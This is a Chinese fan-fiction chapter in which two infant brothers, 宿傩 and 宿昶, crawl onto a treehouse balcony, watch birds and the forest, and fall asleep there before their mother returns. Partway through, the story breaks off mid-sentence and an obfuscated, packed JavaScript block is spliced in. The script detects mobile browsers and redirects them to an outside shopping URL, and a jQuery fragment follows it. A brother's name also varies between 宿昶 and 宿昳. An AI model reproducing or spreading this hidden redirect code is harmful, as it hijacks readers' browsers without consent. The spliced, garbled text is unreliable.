宿傩先醒的。
他睁开眼的时候,阳光已经移开了,他躺在阴影里。
他眨眨眼睛,适应了一下光线。
然后他偏过头,看旁边。
哥哥还在睡,小小的眉头舒展着,呼吸均匀。
他又看了看周围。
还是那个树屋,还是那些床腿、灶台、陶罐。
但他总觉得哪里不对。
他想了想,想不出来。
于是他开始动。
先翻身——这次翻过去了,变成趴着。
再往前蹭——蹭了两下,停下来。
因为他看到了一个东西。
门口。
那个挂着兽皮帘子的地方,是老妈每天进出的地方。
帘子垂着,看不见外面。
但帘子下面,有一道细细的缝隙。
光从缝隙里透进来,在地上画出一条亮线。
宿傩盯着那条亮线看了很久。
然后他开始往那边蹭。
蹭啊蹭,蹭啊蹭。
绕过床腿,绕过灶台,绕过一堆他叫不出名字的东西。
终于,他蹭到了门口。
他伸出小手,抓住兽皮帘子的边角。
扯了扯。
帘子动了动,露出更宽一点的缝隙。
他又扯了扯。
帘子又动了动。
他“啊啊”叫了两声,像是在用力。
帘子被他扯开一个口子。
外面的光涌进来,晃得他眯起眼睛。
他等眼睛适应了,才慢慢睁开。
然后他看到了——
外面。
那是他从来没有见过的世界。
蓝色的天。白色的云。绿色的树。还有风,吹得树叶哗啦啦响。
他愣住了。
小嘴张着,眼睛瞪得圆圆的,就那么看着外面。
看了很久很久。
然后他“啊”了一声。
那一声很轻,不像平时那种又急又亮的叫唤。
是轻轻的,像是惊叹,又像是疑问。
像是在说:外面,这么大?
他又往外面看了看。
看到了阳台的护栏,看到了护栏外面的树枝,看到了树枝缝隙里的天空。
他还看到了——
一只鸟。
小小的,棕色的,停在护栏上,正在歪着头看他。
他盯着那只鸟。
那只鸟也盯着他。
对视了三秒。
鸟“叽”了一声,飞走了。
他追着那只鸟的身影看,看着它飞远,变成一个小点,消失在树丛里。
他又“啊”了一声。
这次的声音,带着一点着急,像是在说:等等,别走!
但鸟已经没了。
他看着那片树丛,很久很久。
直到身后传来动静。
他回过头。
宿昶醒了,正慢慢往这边蹭。
他停下来,看着哥哥。
宿傩“啊啊”叫了两声,像是在说:快来!外面!
宿昶蹭到他旁边,也伸出小手,抓住兽皮帘子。
两个小团子一起扯。
帘子被扯开更大一个口子。
外面的世界,完全展现在他们面前。
蓝天,白云,树林,风。
还有阳台上那些老妈摆的杂物,那些木条加高的护栏,那些晾着的软布。
宿傩“啊啊”叫着,小手指着外面,像是在给弟弟介绍。
宿昶安静地看着,眼睛慢慢移动,把每一个细节都记下来。
看了很久。
宿傩忽然又动了。
他往外面蹭。
不是蹭到门口就停,是蹭过门槛,蹭到阳台上。
宿昶愣了一下,然后也跟上去。
两个小团子,一前一后,蹭到了树屋外面的阳台上。
阳光直接照在他们身上,暧洋洋的。
风吹过来,有点凉,但很舒服。
宿傩眯起眼睛,享受那种风吹在脸上的感觉。
宿昳也眯起眼睛,感受着风。
然后宿傩开始往护栏边蹭宿昶看着他的方向,微微皱起眉头。
他“啊”了一声,声音比平时急一点,像是在说:别过去。
宿傩没理他,继续蹭。
蹭到护栏边了。
他伸出小手,抓住护栏的木条。
然后他试着站起来。
当然站不起来。
他撑着护栏,把上半身撑起来一点,小脸从护栏上面露出来。
他看到了下面。
那是他从来没有见过的高度。
地面在下面,很远很远。
树在下面,很小很小。
他愣了一下。
然后——
“啪叽。”
他没撑住,脸朝下栽倒在阳台地板上。
幸好铺着兽皮,不疼。
他翻过身,躺着,喘着气。
但他眼睛亮晶晶的,咧着嘴笑。
宿昶蹭到他旁边,看着他。
那双黑漆漆的眼睛里,似乎在说:你没事吧?
宿傩“啊”了一声,像是在说:没事!好玩!
然后他又开始往护栏边蹭。
又撑起来,看下面。
又栽倒。
再蹭,再看,再栽倒。
循环往复,乐此不疲。
宿昶没有跟着他做。
他蹭到护栏边,但只是趴着,把小脸贴在护栏最下面的缝隙那里,往外看。
从这个角度,也能看到下面。
但没有那么吓人。
他看了一会儿,然后开始观察别的东西。
阳台上晾着的那些软布,被风吹得一飘一飘的。
他盯着那些飘动的布,眼睛跟着它们移动。
风大的时候,布飘得高一点。
风小的时候,布垂下来。
他看了一会儿,似乎明白了什么规律。
然后他开始看远处的树。
那些树,有的高,有的矮,有的叶子黄了,有的还是绿的。
风吹过的时候,整片树林都在动。
像一大片绿色的波浪。
他看得入了神。
宿傩玩累了,也趴到他旁边,一起看。
两个小团子,并排趴在阳台上,透过护栏的缝隙,看着外面的世界。
风轻轻吹着。
阳光暖暖照着。
树叶沙沙响着。
没有人说话——当然也不会说话。
就那么看着。
看了很久很久。
忽然,宿傩“啊”了一声。
他的小手,指着远处。
那里,有两只鸟飞过,一前一后,在树林上空飞旋。
宿昶顺着他的手指看过去。
两只鸟,越飞越远,消失在云里。
宿傩又“啊”了一声,像是在说:它们去哪了?
宿昶没出声。
他只是看着那片云,很久很久。
然后他收
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265105|198079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回视线,看着弟弟。
宿傩还在看着天空,小嘴微张,眼睛亮晶晶的。
宿昶看了他一会儿。
然后他伸出小手,轻轻碰了碰弟弟的手。
宿傩回过头,看着他。
两个小团子四目相对。
宿傩咧开嘴,笑了。
宿昳的眼睛弯了弯。
然后他们继续并排趴着,继续看着外面的世界。
树屋里,很安静。
阳台上,也很安静。
只有风,吹着树叶,吹着软布,吹着两个小团子
毛茸茸的脑袋。
过了很久。
宿傩忽然打了个小哈欠。
他困了。
但他不想进去。
他眯着眼睛,继续趴着,继续看。
宿昳也困了。
但他也没动。
两个小团子,就那么趴着,半眯着眼睛,吹着风,
晒着太阳。
阳光慢慢移动。
树影慢慢拉长。
云在天上慢慢飘。
他们在阳台上,慢慢睡着了。
等宿观音回来的时候,天已经有点晚了。
她背着从安倍那里领来的糙米和盐,顺着藤梯爬
上树屋。
掀开兽皮帘子——
没人。
婴儿床里空空荡荡,襁褓散落一地。
她愣了一下。
然后她听到外面有声音。
很轻很轻的呼吸声。
她走到阳台门口,往外一看。
两个小团子,并排趴在阳台上,睡得正香。
一个粉色脑袋,一个黑色脑袋。
并排贴着,呼吸均匀。
夕阳的余晖照在他们身上,镀上一层暖暖的光。
宿观音站在那里,看着他们。
看了很久很久。
然后她笑了。
不是那种大声的笑,是那种轻轻的、从心里漫出来的笑。
她没有叫醒他们。
她轻轻走回去,把东西放好,把散落的襁褓捡起来,把婴儿床整理好。
然后她拿了一张最软的兽皮,轻轻盖在两个小团子身上。
自己也在旁边坐下,靠着墙,看着他们。
夕阳慢慢沉下去。
天边染上橙色、粉色、紫色。
两个小团子在晚霞里睡着。
她在旁边看着。
忽然,宿傩在梦里动了动,小嘴咂吧了两下,像是在啃什么东西。
宿昶的眉头微微皱了皱,然后又舒展开。
她伸出手,轻轻摸了摸两个小脑袋。
“两个小崽子,”她轻声说,“趁妈妈不在,越狱是吧?”
“还跑到阳台上睡觉?”
“胆儿挺肥啊。”
两个小团子当然听不到。
继续睡。
她看着他们,又笑了。
然后她靠回墙上,闭上眼睛。
听着风声,听着两个崽的呼吸声。
忽然觉得,这样的日子,也挺好。
不是打打杀杀的那种好。
是平静的、安稳的、能听见自己心跳的那种好。
窗外,晚霞慢慢褪去。
夜幕降临。
星星一颗一颗亮起来。
树屋的阳台上,两个小团子并排睡着,盖着一张软软的兽皮。
旁边,他们的妈妈靠着墙,也睡着了。
平安京的夜,很安静。
也很暖和。